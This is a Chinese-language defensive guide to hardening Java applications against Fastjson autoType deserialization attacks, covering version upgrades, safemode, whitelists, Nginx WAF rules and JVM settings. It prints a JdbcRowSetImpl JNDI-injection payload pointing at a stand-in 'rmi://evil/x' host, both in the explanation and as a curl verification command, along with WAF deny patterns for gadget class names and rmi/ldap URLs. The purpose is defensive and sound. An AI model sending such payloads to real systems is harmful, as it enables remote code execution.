Fastjson 反序列化漏洞防御实战:代码审计与 WAF 配置指南

适用场景

本文适用于所有在 Java Web 应用中使用 Fastjson 进行 JSON 序列化与反序列化的团队,包括自研接口、第三方 SDK 集成、网关鉴权模块等场景。当应用直接接收客户端传入的 JSON 字符串并调用 JSON.parseObject() / JSON.parse() 解析时,即处于 Fastjson 反序列化漏洞的暴露面内,建议立即按本文步骤加固。

前置条件

  • 服务器操作系统:Linux(CentOS 7+ / Ubuntu 20.04+),已安装 Java 8 及以上运行环境
  • 已定位应用使用的 Fastjson 版本:执行 find / -name "fastjson*.jar" 或检查 Maven 依赖树 mvn dependency:tree | grep fastjson
  • 拥有应用代码库修改权限与 Nginx 反向代理配置权限

原理说明

Fastjson 反序列化漏洞的根源是 autoType 机制。Fastjson 为提升序列化效率,允许在 JSON 字符串中以 @type 字段指定反序列化目标类。攻击者构造 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true} 之类的恶意载荷,Fastjson 在反序列化时会触发目标类的 getter / setter 或特定方法,从而完成 JNDI 注入RCE(远程代码执行)。自 2017 年爆出 CVE-2017-18349 以来,绕过版本已迭代十余轮,仅靠升级到某个”安全版本”并不保险,必须结合关闭 autoType 与流量层拦截。

操作步骤

步骤一:升级 Fastjson 到安全版本

将依赖升级到 1.2.83+(1.2.x 最终安全版)或 2.0.x 系列,2.x 默认关闭 autoType 且默认开启 safemode。Maven 配置:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

升级后执行全量回归测试,重点验证 JSON 字段顺序与泛型反序列化行为是否受影响。

步骤二:开启 safemode 并关闭 autoType

1.2.68+ 版本支持 safemode,开启后 @type 将完全不被解析:

// 全局开启 safemode(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

// 或通过系统属性开启
-Dfastjson.parser.safeMode=true

若业务必须使用 autoType,则改为 白名单模式,仅允许已知业务类:

ParserConfig.getGlobalInstance().addAccept("com.example.entity.User");
ParserConfig.getGlobalInstance().addAccept("com.example.dto.");

步骤三:代码层收敛反序列化入口

  • 禁止直接解析前端传入的任意 JSON 字符串,统一使用 DTO 对象接收参数
  • 解析时显式指定目标类型:JSON.parseObject(json, User.class),禁止使用裸 JSON.parse(json)
  • @type 字段做入参校验,出现 java.langcom.sunorg.apache 等危险前缀直接拒绝

步骤四:Nginx 层 WAF 拦截

在 Nginx 反代配置中加入以下规则,拦截携带 @type 的恶意请求:

# /etc/nginx/conf.d/fastjson-waf.conf
location /api/ {
    # 拦截 @type 反序列化特征
    if ($request_body ~* "@type" ) { return 403; }
    # 拦截 JNDI 注入特征
    if ($request_body ~* "JdbcRowSetImpl|JndiDataSourceFactory|rmi://|ldap://") {
        return 403;
    }
    proxy_pass http://backend;
}
# 重新加载配置
nginx -t && nginx -s reload

更稳妥的方式是接入专业 WAF(如百度云防护),其内置的 反序列化规则库 可持续更新绕过载荷。

步骤五:运行环境兜底

即使代码层已加固,仍建议升级 JDK 到 8u191+ 或 11.0.1+,并设置 JVM 参数禁用远程加载:

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

配置验证

# 1. 验证 autoType 已关闭:以下请求应返回 500 或解析失败
curl -X POST http://your-site.com/api/parse -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true}'

# 2. 验证 WAF 拦截:应返回 403
curl -X POST http://your-site.com/api/upload -d '{"name":"t","@type":"java.lang.Runtime"}' -w "%{http_code}
"

# 3. 检查应用日志是否出现 autoType 相关告警
tail -f /var/log/tomcat/catalina.out | grep -i "autoType"

常见问题

Q1:业务代码大量使用 autoType,直接关闭会导致线上故障怎么办?

采用渐进策略:先在测试环境开启 safemode 运行一周,结合日志中 autoType is not support 报错清单,将所有合法类逐一加入 addAccept 白名单,确认无遗漏后再灰度上线。

Q2:升级到 2.x 后 JSON 解析报错或字段丢失?

2.x 对序列化特性做了重构,常见差异包括:@JSONFieldordinal 行为、日期格式默认输出变化。建议先在 JSONObject.toJSONString 时显式指定 SerializerFeature.WriteMapNullValue 等特性,并对照线上报文做字段级 diff 测试。

总结

Fastjson 反序列化漏洞防御需要”版本升级 + 关闭 autoType + 白名单 + 流量拦截”四层协同,单一措施均存在被绕过的先例。核心原则是:永远不要信任客户端传入的类名。完成本文全部步骤后,应用对已知与未知反序列化载荷的防御能力将显著提升,配合 WAF 持续更新规则库,即可形成纵深防御闭环。